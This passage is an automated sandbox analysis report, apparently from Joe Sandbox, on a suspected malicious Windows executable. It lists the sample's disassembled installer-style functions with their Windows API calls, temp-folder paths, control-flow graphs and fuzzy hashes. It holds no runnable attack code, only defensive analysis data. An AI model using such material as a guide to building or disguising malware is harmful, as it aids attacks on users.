                    • Instruction ID: 6a7a19aedd3560da6e477bd72522a8c235124595f9c35bb96c459409ca5d5c37
                    • Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
                    • Instruction Fuzzy Hash: 28F0F42A105E6369C622333A5C05AAF1954CE86324B5A453FBC91F22C5CF3C8A42CDBE
                    Function 00406096 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 540 406096-4060a2 541 4060a3-4060d7 GetTickCount GetTempFileNameW 540->541 542 4060e6-4060e8 541->542 543 4060d9-4060db 541->543 545 4060e0-4060e3 542->545 543->541 544 4060dd 543->544 544->545
                    APIs
                    • GetTickCount.KERNEL32 ref: 004060B4
                    • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403550,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C), ref: 004060CF
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CountFileNameTempTick
                    • String ID: C:\Users\user\AppData\Local\Temp\$nsa
                    • API String ID: 1716503409-44229769
                    • Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
                    • Instruction ID: 0f0e971a11aa9000600537ad3b21051f2e76e4828209a3ca974843c19b3e0847
                    • Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
                    • Instruction Fuzzy Hash: B5F09076B40204BBEB00CF69ED05F9EB7ACEBA5750F11803AE901F7180E6B099648768
                    Function 004015E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 546 4015e6-4015fa call 402dcb call 405ef1 551 401656-401659 546->551 552 4015fc-40160f call 405e73 546->552 554 401688-40231b call 401423 551->554 555 40165b-40167a call 401423 call 406577 SetCurrentDirectoryW 551->555 559 401611-401614 552->559 560 401629-40162c call 405b25 552->560 569 402c4f-402c5e 554->569 555->569 572 401680-401683 555->572 559->560 563 401616-40161d call 405b42 559->563 570 401631-401633 560->570 563->560 576 40161f-401622 call 405acb 563->576 573 401635-40163a 570->573 574 40164c-401654 570->574 572->569 577 401649 573->577 578 40163c-401647 GetFileAttributesW 573->578 574->551 574->552 581 401627 576->581 577->574 578->574 578->577 581->570
                    APIs
                      • Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\,?,00405F65,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EFF
                      • Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
                      • Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C
                    • GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040163F
                      • Part of subcall function 00405ACB: CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D
                    • SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp\nsx4F86.tmp,?,00000000,000000F0), ref: 00401672
                    Strings
                    • C:\Users\user\AppData\Local\Temp\nsx4F86.tmp, xrefs: 00401665
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CharNext$Directory$AttributesCreateCurrentFile
                    • String ID: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp
                    • API String ID: 1892508949-2788028680
                    • Opcode ID: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
                    • Instruction ID: 104414052cab316a424bfe0d2ff1de268c148956b102069c6a2fab9df067ebf3
                    • Opcode Fuzzy Hash: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
                    • Instruction Fuzzy Hash: 0911BE31804514ABCF206FA5CD01AAE36B0EF14368B25493BE941B22F1C63A4A41DA5D
                    Function 004020FD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 586 4020fd-402109 587 4021c8-4021ca 586->587 588 40210f-402125 call 402dcb * 2 586->588 589 402316-40231b call 401423 587->589 598 402135-402144 LoadLibraryExW 588->598 599 402127-402133 GetModuleHandleW 588->599 595 402c4f-402c5e 589->595 600 4021c1-4021c3 598->600 601 402146-402155 call 4069da 598->601 599->598 599->601 600->589 605 402190-402195 call 4055fc 601->605 606 402157-40215d 601->606 611 40219a-40219d 605->611 607 402176-402186 606->607 608 40215f-40216b call 401423 606->608 614 40218b-40218e 607->614 608->611 619 40216d-402174 608->619 611->595 612 4021a3-4021ad call 403be9 611->612 612->595 618 4021b3-4021bc FreeLibrary 612->618 614->611 618->595 619->611
                    APIs
                    • GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402128
                      • Part of subcall function 004055FC: lstrlenW.KERNEL32(0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
                      • Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
                      • Part of subcall function 004055FC: lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,00423E20,759223A0), ref: 00405657
                      • Part of subcall function 004055FC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7
                    • LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402139
                    • FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004021B6
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
                    • String ID:
                    • API String ID: 334405425-0
                    • Opcode ID: e2c875d2c46883179984d9736720e29786f39584a8990913112faf2c8c6d9d72
                    • Instruction ID: ae41dde4eff0046a081fa93f434b6203791b13f397c20c3345ef6f3f33f6a532
                    • Opcode Fuzzy Hash: e2c875d2c46883179984d9736720e29786f39584a8990913112faf2c8c6d9d72
                    • Instruction Fuzzy Hash: 4B21A131904104EACF10AFA5CF89A9E7A71BF44369F30413BF105B91E5CBBD99829A2D
                    Function 00401BC0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 620 401bc0-401bcb 621 401c11-401c14 620->621 622 401bcd-401bd0 620->622 623 401c16-401c18 621->623 624 401c3b-401c51 GlobalAlloc call 4065b4 621->624 625 401bd6-401bda 622->625 626 4023af-4023c7 call 4065b4 call 405bd7 622->626 627 402953-40295a 623->627 628 401c1e-401c36 call 406577 GlobalFree 623->628 635 401c56-401c63 624->635 625->622 631 401bdc-401bde 625->631 626->627 643 402c5a-402c5e 626->643 634 402c4f-402c58 627->634 628->634 631->626 632 401be4-402abe call 406577 * 3 631->632 632->634 634->643 635->634
                    APIs
                    • GlobalFree.KERNEL32(0080C050), ref: 00401C30
                    • GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C42
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Global$AllocFree
                    • String ID: Del
                    • API String ID: 3394109436-3562819231
                    • Opcode ID: b2bf5aa3fb98d5d7659b4efbfb09c2738223d3c1d5b8947c58a47baf3ffb3ed2
                    • Instruction ID: b741a03fd702b7c6772e3f95c256d95ec8b7de3af2fdc922703a565136a7d287
                    • Opcode Fuzzy Hash: b2bf5aa3fb98d5d7659b4efbfb09c2738223d3c1d5b8947c58a47baf3ffb3ed2
                    • Instruction Fuzzy Hash: 9521F372904150EBDB20ABA4EE85E6E33B8AB04718715063FF542B72D5C7BCE8409B9D
                    Function 00405C3B Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 650 405c3b-405c4c call 406042 653 405c7c 650->653 654 405c4e-405c54 650->654 657 405c7e-405c80 653->657 655 405c56-405c5c RemoveDirectoryW 654->655 656 405c5e DeleteFileW 654->656 658 405c64-405c66 655->658 656->658 659 405c68-405c6b 658->659 660 405c6d-405c72 658->660 659->657 660->653 661 405c74-405c76 SetFileAttributesW 660->661 661->653
                    APIs
                      • Part of subcall function 00406042: GetFileAttributesW.KERNELBASE(?,?,00405C47,?,?,00000000,00405E1D,?,?,?,?), ref: 00406047
                      • Part of subcall function 00406042: SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040605B
                    • RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405E1D), ref: 00405C56
                    • DeleteFileW.KERNELBASE(?,?,?,00000000,00405E1D), ref: 00405C5E
                    • SetFileAttributesW.KERNEL32(?,00000000), ref: 00405C76
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: File$Attributes$DeleteDirectoryRemove
                    • String ID:
                    • API String ID: 1655745494-0
                    • Opcode ID: db7f6541ced3958ca03b9484ad33d053af3f68eb31512009fba6ce163230055c
                    • Instruction ID: c82196251123d647324ab779b7bb87df945e5a0710881db1f7e3845477fa960f
                    • Opcode Fuzzy Hash: db7f6541ced3958ca03b9484ad33d053af3f68eb31512009fba6ce163230055c
                    • Instruction Fuzzy Hash: 96E0E53220D79116E21067305A4CB5F2998DF86724F05093AF892B11C1DB78494A8AAE
                    Function 00406A16 Relevance: 4.5, APIs: 3, Instructions: 27synchronizationCOMMON
                    Download Yara Rule
                    APIs
                    • WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A27
                    • WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406A3C
                    • GetExitCodeProcess.KERNELBASE(?,?), ref: 00406A49
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: ObjectSingleWait$CodeExitProcess
                    • String ID:
                    • API String ID: 2567322000-0
                    • Opcode ID: 17a38a5c847dd8245057c7588e6ed0bb749bee8eb0eab1a955a98d2ec77b2a61
                    • Instruction ID: d5e21d5b6c89390e0fe7337f431b3f11a6010097aa4ea8dd60fa0fcdfcff6c3a
                    • Opcode Fuzzy Hash: 17a38a5c847dd8245057c7588e6ed0bb749bee8eb0eab1a955a98d2ec77b2a61
                    • Instruction Fuzzy Hash: 3EE09271600218BBDB00AB58CD02D9E7BAEDB45700F104033B641BA190C6B59E62DAA8
                    Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                    Download Yara Rule
                    APIs
                    • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                    • SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend
                    • String ID:
                    • API String ID: 3850602802-0
                    • Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
                    • Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
                    • Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
                    • Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C
                    Function 00405ACB Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                    Download Yara Rule
                    APIs
                    • CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D
                    • GetLastError.KERNEL32 ref: 00405B1B
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CreateDirectoryErrorLast
                    • String ID:
                    • API String ID: 1375471231-0
                    • Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
                    • Instruction ID: 83f907d2df1d2810bbbe2cf052e9f9ea9028798b61a5f10ffece60f544324ce8
                    • Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
                    • Instruction Fuzzy Hash: 44F0F4B0D1060EDBDB00DFA4D6497EFBBB4AB04309F00812AD941B6281D7B89248CBA9
                    Function 00405B5A Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON
                    Download Yara Rule
                    APIs
                    • CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
                    • CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CloseCreateHandleProcess
                    • String ID:
                    • API String ID: 3712363035-0
                    • Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
                    • Instruction ID: 1d4bd4e17b1592c090cadeee614c80d4297d43de2f88d62204b9ca700bb873e4
                    • Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
                    • Instruction Fuzzy Hash: C9E09AB4600219BFFB109B64AD06F7B767CE704604F408475BD15E6151D774A8158A78
                    Function 0040696B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00406998
                      • Part of subcall function 004068FB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
                      • Part of subcall function 004068FB: wsprintfW.USER32 ref: 0040694D
                      • Part of subcall function 004068FB: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                    • String ID:
                    • API String ID: 2547128583-0
                    • Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
                    • Instruction ID: f16a4ad3e9102b165210d3f50f6adbe363033f5fe81171ed8a06a41b6d2757eb
                    • Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
                    • Instruction Fuzzy Hash: F1E08673504311AAD6105B759D0492772E89F89750302443EF986F2140DB38EC32A6AE
                    Function 00406067 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                    Download Yara Rule
                    APIs
                    • GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\Auu2j0pT0B.exe,80000000,00000003), ref: 0040606B
                    • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: File$AttributesCreate
                    • String ID:
                    • API String ID: 415043291-0
                    • Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
                    • Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
                    • Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
                    • Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15
                    Function 00406042 Relevance: 3.0, APIs: 2, Instructions: 13COMMON
                    Download Yara Rule
                    APIs
                    • GetFileAttributesW.KERNELBASE(?,?,00405C47,?,?,00000000,00405E1D,?,?,?,?), ref: 00406047
                    • SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040605B
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: AttributesFile
                    • String ID:
                    • API String ID: 3188754299-0
                    • Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
                    • Instruction ID: a0ae240d833e004fe72580c92a9f2193965d94811d262e1a0a63bc04ff00b3bc
                    • Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
                    • Instruction Fuzzy Hash: 7ED0C972504220AFC2102728AE0889BBB55DB542717028A35F8A9A22B0CB304CA68694
                    Function 00403B6F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11COMMON
                    Download Yara Rule
                    APIs
                    • CloseHandle.KERNEL32(FFFFFFFF,00403AA2,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403B7A
                    Strings
                    • C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\, xrefs: 00403B8E
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CloseHandle
